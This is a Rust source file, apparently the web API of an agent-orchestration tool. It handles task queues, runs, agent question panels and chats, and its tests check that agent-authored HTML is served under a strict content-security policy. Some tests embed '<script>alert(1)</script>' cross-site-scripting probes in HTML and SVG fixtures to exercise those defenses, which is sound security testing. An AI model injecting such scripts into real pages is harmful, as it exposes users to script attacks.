1774 source_label: task.source.label(),
1775 status_str: task.status.as_str(),
1776 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
1777 task,
1778 }
1779 }
1780}
1781
1782#[derive(Debug, Default, Deserialize)]
1785#[serde(default)]
1786struct ReposQuery {
1787 refresh: u8,
1788}
1789
1790async fn repos_list(
1798 State(ui): State<Arc<Ui>>,
1799 Query(q): Query<ReposQuery>,
1800) -> ApiResult<Json<Vec<repos::Repo>>> {
1801 let refresh = q.refresh != 0;
1802 blocking(move || {
1803 let (cfg, _) = Config::discover(&ui.repo, None)?;
1804 Ok(Json(ui.repos_cache.list(
1805 &cfg.repos.roots,
1806 Duration::from_secs(cfg.repos.scan_ttl),
1807 refresh,
1808 )))
1809 })
1810 .await
1811}
1812
1813async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
1814 blocking(move || {
1815 Ok(Json(
1816 ui.queue.list().into_iter().map(TaskView::from).collect(),
1817 ))
1818 })
1819 .await
1820}
1821
1822#[derive(Debug, Default, Deserialize)]
1828#[serde(default)]
1829struct NewTask {
1830 instruction: String,
1831 title: Option<String>,
1832 repo: Option<PathBuf>,
1833 priority: Option<i32>,
1834}
1835
1836async fn queue_post(
1837 State(ui): State<Arc<Ui>>,
1838 body: std::result::Result<Json<NewTask>, JsonRejection>,
1839) -> ApiResult<impl IntoResponse> {
1840 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1843 if body.instruction.trim().is_empty() {
1844 return Err(ApiError::bad_request(
1845 "instruction must not be blank: an empty task would burn a whole \
1846 competition on nothing",
1847 ));
1848 }
1849 let view = blocking(move || {
1850 let title = body
1851 .title
1852 .filter(|t| !t.trim().is_empty())
1853 .unwrap_or_else(|| title_from(&body.instruction, TITLE_MAX));
1854 let repo = body.repo.unwrap_or_else(|| ui.repo.clone());
1855 let mut task = Task::new(title, body.instruction, repo, Source::Human);
1856 task.priority = body.priority.unwrap_or(0);
1857 ui.queue.put(&mut task)?;
1858 Ok(TaskView::from(task))
1859 })
1860 .await?;
1861 Ok((StatusCode::CREATED, Json(view)))
1862}
1863
1864async fn queue_hold(
1865 State(ui): State<Arc<Ui>>,
1866 Path(id): Path<String>,
1867) -> ApiResult<Json<TaskView>> {
1868 mutate(ui, id, Task::hold).await
1869}
1870
1871async fn queue_release(
1872 State(ui): State<Arc<Ui>>,
1873 Path(id): Path<String>,
1874) -> ApiResult<Json<TaskView>> {
1875 mutate(ui, id, Task::release).await
1876}
1877
1878async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1886 blocking(move || {
1887 let id = resolve_task(&ui.queue, &id)?;
1888 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
1889 ui.queue
1890 .remove(&id, in_flight)
1891 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1892 Ok(StatusCode::NO_CONTENT)
1893 })
1894 .await
1895}
1896
1897async fn mutate(ui: Arc<Ui>, id: String, change: fn(&mut Task)) -> ApiResult<Json<TaskView>> {
1903 blocking(move || {
1904 let id = resolve_task(&ui.queue, &id)?;
1905 let _claim = ui.queue.claim(&id).map_err(|e| {
1910 ApiError::conflict(format!(
1911 "{e:#} - a daemon is running this task, so it cannot be \
1912 changed from here yet"
1913 ))
1914 })?;
1915 let mut task = ui.queue.get(&id)?;
1916 change(&mut task);
1917 ui.queue.put(&mut task)?;
1918 Ok(Json(TaskView::from(task)))
1919 })
1920 .await
1921}
1922
1923async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
1931 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
1932 tokio::spawn(async move {
1933 let mut ticker = tokio::time::interval(POLL);
1934 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
1935 loop {
1936 ticker.tick().await;
1939 let state = Arc::clone(&ui);
1940 let revisions = tokio::task::spawn_blocking(move || {
1941 (
1942 state.queue.revision(),
1943 runs_revision(&state.runs),
1944 state.questions.revision(),
1945 state.chats.revision(),
1946 state.lock_loop().rev,
1950 )
1951 })
1952 .await;
1953 let Ok(revisions) = revisions else { break };
1954 if last == Some(revisions) {
1955 continue;
1956 }
1957 last = Some(revisions);
1958 let payload = serde_json::json!({
1959 "queue_rev": revisions.0,
1960 "runs_rev": revisions.1,
1961 "questions_rev": revisions.2,
1962 "chats_rev": revisions.3,
1963 "loop_rev": revisions.4,
1964 });
1965 let Ok(event) = Event::default().event("change").json_data(payload) else {
1967 break;
1968 };
1969 if tx.send(event).await.is_err() {
1970 break;
1971 }
1972 }
1973 });
1974 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
1975 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
1976}
1977
1978fn runs_revision(runs: &FsPath) -> u64 {
1985 use std::hash::{Hash as _, Hasher as _};
1986
1987 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
1988 .into_iter()
1989 .flatten()
1990 .flatten()
1991 .filter_map(|e| {
1992 let path = e.path().join("run.json");
1993 let mtime = path
1994 .metadata()
1995 .ok()?
1996 .modified()
1997 .ok()?
1998 .duration_since(std::time::UNIX_EPOCH)
1999 .ok()?
2000 .as_millis() as u64;
2001 let id = e.file_name().to_string_lossy().into_owned();
2002 Some((id, mtime))
2003 })
2004 .collect();
2005
2006 if entries.is_empty() {
2007 return 0;
2008 }
2009
2010 entries.sort_unstable();
2011 let mut hasher = std::hash::DefaultHasher::new();
2012 for (id, mtime) in &entries {
2013 id.hash(&mut hasher);
2014 mtime.hash(&mut hasher);
2015 }
2016 let h = hasher.finish();
2017 if h == 0 { 1 } else { h }
2018}
2019
2020fn run_ids(runs: &FsPath) -> Vec<String> {
2026 let mut ids: Vec<String> = std::fs::read_dir(runs)
2027 .into_iter()
2028 .flatten()
2029 .flatten()
2030 .filter(|e| e.path().join("run.json").is_file())
2031 .map(|e| e.file_name().to_string_lossy().into_owned())
2032 .collect();
2033 ids.sort_unstable_by(|a, b| b.cmp(a));
2035 ids
2036}
2037
2038fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2040 let path = runs.join(id).join("run.json");
2041 let body =
2042 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2043 let state: RunState =
2044 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2045 if state.schema != run::SCHEMA {
2046 anyhow::bail!(
2047 "run {} was written by a different magi (schema {}, this build speaks {})",
2048 state.id,
2049 state.schema,
2050 run::SCHEMA
2051 );
2052 }
2053 Ok(state)
2054}
2055
2056#[must_use]
2064pub fn runs_unreadable(runs: &FsPath) -> usize {
2065 run_ids(runs)
2066 .into_iter()
2067 .filter(|id| read_run(runs, id).is_err())
2068 .count()
2069}
2070
2071fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2073 if runs.join(id).join("run.json").is_file() {
2074 return Ok(id.to_owned());
2075 }
2076 pick(run_ids(runs), id, "run")
2077}
2078
2079fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2081 if queue.path_of(id).is_file() {
2082 return Ok(id.to_owned());
2083 }
2084 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2085}
2086
2087#[derive(Debug, Serialize)]
2098struct QuestionView {
2099 #[serde(flatten)]
2100 question: Question,
2101 detail_md: Vec<md::Node>,
2102}
2103
2104impl From<Question> for QuestionView {
2105 fn from(question: Question) -> Self {
2106 let base = md::ImageBase::QuestionPanel {
2107 id: question.id.clone(),
2108 };
2109 Self {
2110 detail_md: md::to_nodes(&question.detail, &base),
2111 question,
2112 }
2113 }
2114}
2115
2116async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2122 blocking(move || {
2123 Ok(Json(
2124 ui.questions
2125 .list()
2126 .into_iter()
2127 .map(QuestionView::from)
2128 .collect(),
2129 ))
2130 })
2131 .await
2132}
2133
2134#[derive(Debug, Default, Deserialize)]
2140#[serde(default, deny_unknown_fields)]
2141struct NewAnswer {
2142 choice: Option<String>,
2143 text: Option<String>,
2144}
2145
2146async fn question_answer(
2147 State(ui): State<Arc<Ui>>,
2148 Path(id): Path<String>,
2149 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2150) -> ApiResult<Json<QuestionView>> {
2151 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2152 let answer = match (body.choice, body.text) {
2153 (Some(c), None) => Answer::Choice(c),
2154 (None, Some(t)) => Answer::Text(t),
2155 (Some(_), Some(_)) => {
2156 return Err(ApiError::bad_request(
2157 "send either `choice` or `text`, not both",
2158 ));
2159 }
2160 (None, None) => {
2161 return Err(ApiError::bad_request("send a `choice` or a `text`"));
2162 }
2163 };
2164
2165 blocking(move || {
2166 let id = resolve_question(&ui.questions, &id)?;
2167 let mut q = ui
2168 .questions
2169 .get(&id)
2170 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2171 if !q.status.open() {
2172 return Err(ApiError::conflict(format!(
2176 "question {} is already {}",
2177 q.short(),
2178 q.status.as_str()
2179 )));
2180 }
2181 q.answer(answer).map_err(ApiError::bad_request_from)?;
2185 ui.questions.put(&mut q)?;
2186 Ok(Json(QuestionView::from(q)))
2187 })
2188 .await
2189}
2190
2191fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2193 if store.path_of(id).is_file() {
2194 return Ok(id.to_owned());
2195 }
2196 pick(
2197 store.list().into_iter().map(|q| q.id).collect(),
2198 id,
2199 "question",
2200 )
2201}
2202
2203async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2218 blocking(move || {
2219 let id = resolve_question(&ui.questions, &id)?;
2220 let Some(html) = ui.questions.panel_html(&id) else {
2221 return Err(ApiError::not_found(format!("question {id} has no panel")));
2222 };
2223 Ok(panel_response(
2224 "text/html; charset=utf-8",
2225 false,
2226 html.into_bytes(),
2227 ))
2228 })
2229 .await
2230}
2231
2232async fn question_asset(
2260 State(ui): State<Arc<Ui>>,
2261 Path((id, name)): Path<(String, String)>,
2262) -> ApiResult<Response> {
2263 if !crate::ask::valid_asset_name(&name) {
2266 return Err(ApiError::bad_request(format!(
2267 "`{name}` is not a usable asset name"
2268 )));
2269 }
2270 blocking(move || {
2271 let id = resolve_question(&ui.questions, &id)?;
2272 let asset = ui
2273 .questions
2274 .panel_asset(&id, &name)
2275 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2276 let Some(bytes) = asset else {
2277 return Err(ApiError::not_found(format!(
2278 "question {id} has no asset `{name}`"
2279 )));
2280 };
2281 Ok(panel_response(
2282 asset_content_type(&name),
2283 is_svg(&name),
2284 bytes,
2285 ))
2286 })
2287 .await
2288}
2289
2290fn asset_content_type(name: &str) -> &'static str {
2303 match extension(name).as_deref() {
2304 Some("png") => "image/png",
2305 Some("jpg" | "jpeg") => "image/jpeg",
2306 Some("gif") => "image/gif",
2307 Some("webp") => "image/webp",
2308 Some("svg") => "image/svg+xml",
2309 Some("css") => "text/css; charset=utf-8",
2310 Some("txt") => "text/plain; charset=utf-8",
2311 _ => "application/octet-stream",
2312 }
2313}
2314
2315fn is_svg(name: &str) -> bool {
2318 extension(name).as_deref() == Some("svg")
2319}
2320
2321fn extension(name: &str) -> Option<String> {
2323 name.rsplit_once('.')
2324 .map(|(_, ext)| ext.to_ascii_lowercase())
2325}
2326
2327fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
2344 let mut res = (
2345 [
2346 (header::CONTENT_TYPE, content_type),
2347 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
2348 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
2349 (header::REFERRER_POLICY, "no-referrer"),
2350 ],
2351 body,
2352 )
2353 .into_response();
2354 if download {
2355 res.headers_mut().insert(
2356 header::CONTENT_DISPOSITION,
2357 HeaderValue::from_static("attachment"),
2358 );
2359 }
2360 res
2361}
2362
2363#[derive(Debug, Serialize)]
2372struct ChatView {
2373 #[serde(flatten)]
2374 chat: Chat,
2375 turn_bodies_md: Vec<Vec<md::Node>>,
2376 draft_md: Option<Vec<md::Node>>,
2377}
2378
2379impl From<Chat> for ChatView {
2380 fn from(chat: Chat) -> Self {
2381 let turn_bodies_md = chat
2382 .turns
2383 .iter()
2384 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2385 .collect();
2386 let draft_md = chat
2387 .draft
2388 .as_deref()
2389 .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
2390 Self {
2391 turn_bodies_md,
2392 draft_md,
2393 chat,
2394 }
2395 }
2396}
2397
2398async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
2406 blocking(move || {
2407 Ok(Json(
2408 ui.chats.list().into_iter().map(ChatView::from).collect(),
2409 ))
2410 })
2411 .await
2412}
2413
2414async fn chat_detail(
2415 State(ui): State<Arc<Ui>>,
2416 Path(id): Path<String>,
2417) -> ApiResult<Json<ChatView>> {
2418 blocking(move || {
2419 let id = resolve_chat(&ui.chats, &id)?;
2420 Ok(Json(ChatView::from(ui.chats.get(&id)?)))
2421 })
2422 .await
2423}
2424
2425#[derive(Debug, Default, Deserialize)]
2436#[serde(default)]
2437struct NewChat {
2438 idea: String,
2439 agent: Option<String>,
2440 repo: Option<PathBuf>,
2441 from: Option<String>,
2442}
2443
2444async fn chat_post(
2453 State(ui): State<Arc<Ui>>,
2454 body: std::result::Result<Json<NewChat>, JsonRejection>,
2455) -> ApiResult<impl IntoResponse> {
2456 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2457 if body.idea.trim().is_empty() {
2458 return Err(ApiError::bad_request(
2459 "an interview needs something to interview about",
2460 ));
2461 }
2462
2463 let from = {
2467 let ui = Arc::clone(&ui);
2468 let from_id = body.from.clone();
2469 blocking(move || match from_id {
2470 None => Ok(None),
2471 Some(id) => {
2472 let resolved = resolve_chat(&ui.chats, &id)?;
2473 Ok(Some(ui.chats.get(&resolved)?))
2474 }
2475 })
2476 .await?
2477 };
2478
2479 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
2483 let cfg = config_for(&repo).await?;
2484 let chat = chat::start(
2485 &ui.chats,
2486 &cfg,
2487 repo,
2488 &body.idea,
2489 body.agent.as_deref(),
2490 from.as_ref(),
2491 )
2492 .await
2493 .map_err(ApiError::from)?;
2494 Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
2495}
2496
2497#[derive(Debug, Default, Deserialize)]
2499#[serde(default, deny_unknown_fields)]
2500struct NewTurn {
2501 text: String,
2502}
2503
2504async fn chat_say(
2530 State(ui): State<Arc<Ui>>,
2531 Path(id): Path<String>,
2532 body: std::result::Result<Json<NewTurn>, JsonRejection>,
2533) -> ApiResult<(StatusCode, Json<ChatView>)> {
2534 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2535 if body.text.trim().is_empty() {
2536 return Err(ApiError::bad_request("say something"));
2537 }
2538
2539 let id = {
2540 let ui = Arc::clone(&ui);
2541 let asked = id.clone();
2542 blocking(move || resolve_chat(&ui.chats, &asked)).await?
2543 };
2544 let _turn = ui.begin_turn(&id)?;
2548
2549 let (chat, cfg) = {
2550 let ui = Arc::clone(&ui);
2551 let id = id.clone();
2552 blocking(move || {
2553 let chat = ui.chats.get(&id)?;
2554 let (cfg, _) = Config::discover(&chat.repo, None)?;
2555 Ok((chat, cfg))
2556 })
2557 .await?
2558 };
2559
2560 let chats = ui.chats.clone();
2575 let text = {
2576 let mut chat = chat.clone();
2577 let chats = chats.clone();
2578 let said = body.text.clone();
2579 blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
2580 };
2581 let mut chat = {
2584 let ui = Arc::clone(&ui);
2585 let id = id.clone();
2586 blocking(move || Ok(ui.chats.get(&id)?)).await?
2587 };
2588 let queued = chat.clone();
2589 tokio::spawn(async move {
2590 let _turn = _turn;
2591 if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
2592 tracing::warn!("chat {id} turn failed: {e:#}");
2595 }
2596 });
2597
2598 Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
2602}
2603
2604#[derive(Debug, Default, Deserialize)]
2606#[serde(default, deny_unknown_fields)]
2607struct FileDraft {
2608 priority: i32,
2609}
2610
2611async fn chat_file(
2618 State(ui): State<Arc<Ui>>,
2619 Path(id): Path<String>,
2620 body: std::result::Result<Json<FileDraft>, JsonRejection>,
2621) -> ApiResult<Json<serde_json::Value>> {
2622 let body = match body {
2627 Ok(Json(body)) => body,
2628 Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
2629 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2630 };
2631
2632 blocking(move || {
2633 let id = resolve_chat(&ui.chats, &id)?;
2634 let mut chat = ui.chats.get(&id)?;
2635 if let Err(problems) = chat::draft_problems(&chat) {
2640 return Err(ApiError::bad_request_with(
2641 "the draft is not fileable yet",
2642 problems,
2643 ));
2644 }
2645 let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
2646 Ok(Json(serde_json::json!({ "task": task })))
2647 })
2648 .await
2649}
2650
2651fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
2653 pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
2654}
2655
2656async fn config_for(repo: &FsPath) -> ApiResult<Config> {
2664 let repo = repo.to_path_buf();
2665 blocking(move || {
2666 let (cfg, _) = Config::discover(&repo, None)?;
2667 Ok(cfg)
2668 })
2669 .await
2670}
2671
2672fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
2678 let mut hits = ids
2679 .into_iter()
2680 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
2681 match (hits.next(), hits.next()) {
2682 (Some(one), None) => Ok(one),
2683 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
2684 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
2685 "`{prefix}` matches more than one {what}, including {a} and {b}"
2686 ))),
2687 }
2688}
2689
2690#[cfg(test)]
2691mod tests {
2692 use pretty_assertions::assert_eq;
2693 use serde_json::Value;
2694 use tempfile::TempDir;
2695 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
2696
2697 use super::*;
2698 use crate::config::Config;
2699 use crate::queue::TaskStatus;
2700
2701 struct Fixture {
2707 home: TempDir,
2708 addr: SocketAddr,
2709 }
2710
2711 impl Fixture {
2712 async fn start() -> Self {
2713 Self::with_loop(launch_idle).await
2714 }
2715
2716 async fn with_loop(launch: Launch) -> Self {
2718 let home = TempDir::new().expect("temp home");
2719 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
2720 Self { home, addr }
2721 }
2722
2723 async fn with_repo(repo: PathBuf) -> Self {
2727 let home = TempDir::new().expect("temp home");
2728 let addr = Self::serve(home.path(), repo, launch_idle).await;
2729 Self { home, addr }
2730 }
2731
2732 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
2733 let queue = Queue::at(home.join("queue"));
2734 let runs = home.join("runs");
2735 std::fs::create_dir_all(&runs).expect("runs dir");
2736 let ui = Ui::new(
2737 queue,
2738 Questions::at(home.join("questions")),
2739 Chats::at(home.join("chats")),
2740 runs,
2741 home.to_path_buf(),
2742 repo,
2743 )
2744 .with_launch(launch);
2745 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
2746 .await
2747 .expect("bind loopback");
2748 let addr = listener.local_addr().expect("local addr");
2749 tokio::spawn(async move {
2750 let _ = axum::serve(listener, ui.router()).await;
2751 });
2752 addr
2753 }
2754
2755 fn queue(&self) -> Queue {
2756 Queue::at(self.home.path().join("queue"))
2757 }
2758
2759 fn questions(&self) -> Questions {
2760 Questions::at(self.home.path().join("questions"))
2761 }
2762
2763 fn chats(&self) -> Chats {
2764 Chats::at(self.home.path().join("chats"))
2765 }
2766
2767 fn runs(&self) -> PathBuf {
2768 self.home.path().join("runs")
2769 }
2770
2771 async fn get(&self, path: &str) -> Res {
2772 request(self.addr, "GET", path, None).await
2773 }
2774
2775 async fn head(&self, path: &str) -> Res {
2780 request(self.addr, "HEAD", path, None).await
2781 }
2782
2783 async fn post(&self, path: &str, body: Option<&str>) -> Res {
2784 request(self.addr, "POST", path, body).await
2785 }
2786
2787 async fn delete(&self, path: &str) -> Res {
2788 request(self.addr, "DELETE", path, None).await
2789 }
2790 }
2791
2792 struct Res {
2793 status: u16,
2794 headers: String,
2795 head: String,
2800 body: String,
2801 bytes: Vec<u8>,
2805 }
2806
2807 impl Res {
2808 fn json(&self) -> Value {
2809 serde_json::from_str(&self.body)
2810 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
2811 }
2812
2813 fn header(&self, name: &str) -> Option<&str> {
2815 self.head.lines().find_map(|line| {
2816 let (key, value) = line.split_once(':')?;
2817 key.trim()
2818 .eq_ignore_ascii_case(name)
2819 .then(|| value.trim_start().trim_end_matches('\r'))
2820 })
2821 }
2822 }
2823
2824 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
2827 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
2828 if let Some(body) = body {
2829 head.push_str("Content-Type: application/json\r\n");
2830 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
2831 }
2832 head.push_str("\r\n");
2833 if let Some(body) = body {
2834 head.push_str(body);
2835 }
2836 let mut socket = tokio::net::TcpStream::connect(addr)
2837 .await
2838 .expect("connect to the test server");
2839 socket
2840 .write_all(head.as_bytes())
2841 .await
2842 .expect("write request");
2843 let mut raw = Vec::new();
2844 socket.read_to_end(&mut raw).await.expect("read response");
2845 let split = raw
2848 .windows(4)
2849 .position(|w| w == b"\r\n\r\n")
2850 .expect("a header block");
2851 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
2852 let bytes = raw[split + 4..].to_vec();
2853 let status = head
2854 .lines()
2855 .next()
2856 .and_then(|line| line.split_whitespace().nth(1))
2857 .and_then(|code| code.parse().ok())
2858 .expect("a status line");
2859 Res {
2860 status,
2861 headers: head.to_lowercase(),
2862 head,
2863 body: String::from_utf8_lossy(&bytes).into_owned(),
2864 bytes,
2865 }
2866 }
2867
2868 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
2870 let mut state = RunState::new(
2871 PathBuf::from("/repo/magi"),
2872 "main".to_owned(),
2873 "0123456789abcdef".to_owned(),
2874 "Add a web UI\n\nMobile first.".to_owned(),
2875 Config::default(),
2876 );
2877 state.id = id.to_owned();
2878 state.status = status;
2879 let dir = runs.join(id);
2880 std::fs::create_dir_all(&dir).expect("run dir");
2881 std::fs::write(
2882 dir.join("run.json"),
2883 serde_json::to_string_pretty(&state).expect("serialize run"),
2884 )
2885 .expect("write run.json");
2886 }
2887
2888 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
2889 let body = serde_json::json!({
2890 "schema": 1,
2891 "pid": 4242,
2892 "started_at": Timestamp::now().to_string(),
2893 "updated_at": updated_at.to_string(),
2894 "idle": false,
2895 "current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
2896 "completed": 7,
2897 "polls": 143,
2898 });
2899 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
2900 }
2901
2902 fn launch_idle(
2912 _opts: daemon::Opts,
2913 stop: daemon::Stop,
2914 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2915 Box::pin(async move {
2916 while !stop.stopped() {
2917 tokio::time::sleep(Duration::from_millis(2)).await;
2918 }
2919 Ok(())
2920 })
2921 }
2922
2923 fn launch_broken(
2926 _opts: daemon::Opts,
2927 _stop: daemon::Stop,
2928 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2929 Box::pin(async {
2930 Err(anyhow::anyhow!(
2931 "publish the daemon status file: read-only file system"
2932 ))
2933 })
2934 }
2935
2936 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
2944 for _ in 0..200 {
2945 let view = fx.get("/api/loop").await.json();
2946 if want(&view) {
2947 return view;
2948 }
2949 tokio::time::sleep(Duration::from_millis(10)).await;
2950 }
2951 panic!(
2952 "the loop never settled: {}",
2953 fx.get("/api/loop").await.json()
2954 );
2955 }
2956
2957 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
2959 let store = fx.questions();
2960 let mut q = Question::new(
2961 "20260902-000000-beef".to_owned(),
2962 "implement".to_owned(),
2963 "impl-A".to_owned(),
2964 summary.to_owned(),
2965 "because it matters".to_owned(),
2966 choices.iter().map(|c| (*c).to_owned()).collect(),
2967 );
2968 store.put(&mut q).expect("put question");
2969 q.id
2970 }
2971
2972 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
2978 let store = fx.questions();
2979 let mut q = Question::new(
2980 "20260902-000000-beef".to_owned(),
2981 "land".to_owned(),
2982 "fix".to_owned(),
2983 "Merge this?".to_owned(),
2984 "the diff is in the panel".to_owned(),
2985 vec!["merge".to_owned(), "hold".to_owned()],
2986 );
2987 let staging = fx.home.path().join("staging");
2990 std::fs::create_dir_all(&staging).expect("staging dir");
2991 let sources: Vec<PathBuf> = assets
2992 .iter()
2993 .map(|(name, bytes)| {
2994 let path = staging.join(name);
2995 std::fs::write(&path, bytes).expect("write staged asset");
2996 path
2997 })
2998 .collect();
2999 store
3000 .put_panel(&mut q, html, &sources)
3001 .expect("write the panel");
3002 store.put(&mut q).expect("put question");
3003 q.id
3004 }
3005
3006 fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
3014 let store = fx.chats();
3015 std::fs::create_dir_all(store.root()).expect("chats dir");
3016 let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
3017 .expect("serialize a seat");
3018 let body = serde_json::json!({
3019 "schema": 1,
3020 "id": id,
3021 "repo": "/repo/magi",
3022 "agent": "sonnet",
3023 "status": status,
3024 "turns": [
3025 { "who": "operator", "body": "rework the config loader",
3026 "at": Timestamp::now().to_string() },
3027 { "who": "agent", "body": "Which part is hurting?",
3028 "at": Timestamp::now().to_string() },
3029 ],
3030 "draft": draft,
3031 "task": Value::Null,
3032 "created_at": Timestamp::now().to_string(),
3033 "updated_at": Timestamp::now().to_string(),
3034 "seat": seat,
3035 });
3036 std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
3037 store.get(id).expect("the seeded chat has to be readable");
3040 id.to_owned()
3041 }
3042
3043 fn good_draft() -> String {
3046 "# Rework the config loader\n\n\
3047 ## Why\n\n\
3048 It re-reads `magi.toml` on every lookup, so a run that asks for the \
3049 roster four hundred times pays four hundred parses of the same file.\n\n\
3050 ## What\n\n\
3051 Load the layers once when the run starts and hand the merged value \
3052 around. Nothing about the file format changes.\n\n\
3053 ## Acceptance criteria\n\n\
3054 - `Config::discover` is called exactly once per run.\n\
3055 - `cargo test` passes with no change to any existing assertion.\n"
3056 .to_owned()
3057 }
3058
3059 #[tokio::test]
3060 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3061 let fx = Fixture::start().await;
3062 let id = panel(
3063 &fx,
3064 "<h1>Merge?</h1><img src=\"diff.svg\">",
3065 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3066 );
3067
3068 for path in [
3069 format!("/api/questions/{id}/panel"),
3070 format!("/api/questions/{id}/asset/diff.svg"),
3071 ] {
3072 let res = fx.get(&path).await;
3073 assert_eq!(res.status, 200, "{path}: {}", res.body);
3074 assert_eq!(
3080 res.header("content-security-policy"),
3081 Some(
3082 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
3083 font-src data:; base-uri 'none'; form-action 'none'; \
3084 frame-ancestors 'self'"
3085 ),
3086 "{path} is the only thing between a hostile panel and the tailnet"
3087 );
3088 assert_eq!(
3089 res.header("x-content-type-options"),
3090 Some("nosniff"),
3091 "{path}: a browser must not re-decide the type we sent"
3092 );
3093 assert_eq!(
3094 res.header("referrer-policy"),
3095 Some("no-referrer"),
3096 "{path}: a panel must not leak the question id off the machine"
3097 );
3098
3099 let pre = fx.head(&path).await;
3104 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
3105 assert_eq!(
3106 pre.header("content-security-policy"),
3107 res.header("content-security-policy"),
3108 "{path}: the preflight carries the same policy"
3109 );
3110 assert_eq!(
3111 pre.header("content-type"),
3112 res.header("content-type"),
3113 "{path}: the preflight carries the same type"
3114 );
3115 }
3116 }
3117
3118 #[tokio::test]
3119 async fn a_panel_reaches_the_browser_byte_for_byte() {
3120 let fx = Fixture::start().await;
3121 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
3126 let id = panel(&fx, html, &[]);
3127
3128 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
3129
3130 assert_eq!(res.status, 200);
3131 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
3132 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
3133 assert_eq!(
3134 res.header("content-disposition"),
3135 None,
3136 "the panel itself is rendered in the frame, not downloaded"
3137 );
3138 }
3139
3140 #[tokio::test]
3141 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
3142 let fx = Fixture::start().await;
3143 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
3144 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
3145 let id = panel(
3146 &fx,
3147 "<img src=\"diff.svg\"><img src=\"shot.png\">",
3148 &[("diff.svg", svg), ("shot.png", png)],
3149 );
3150
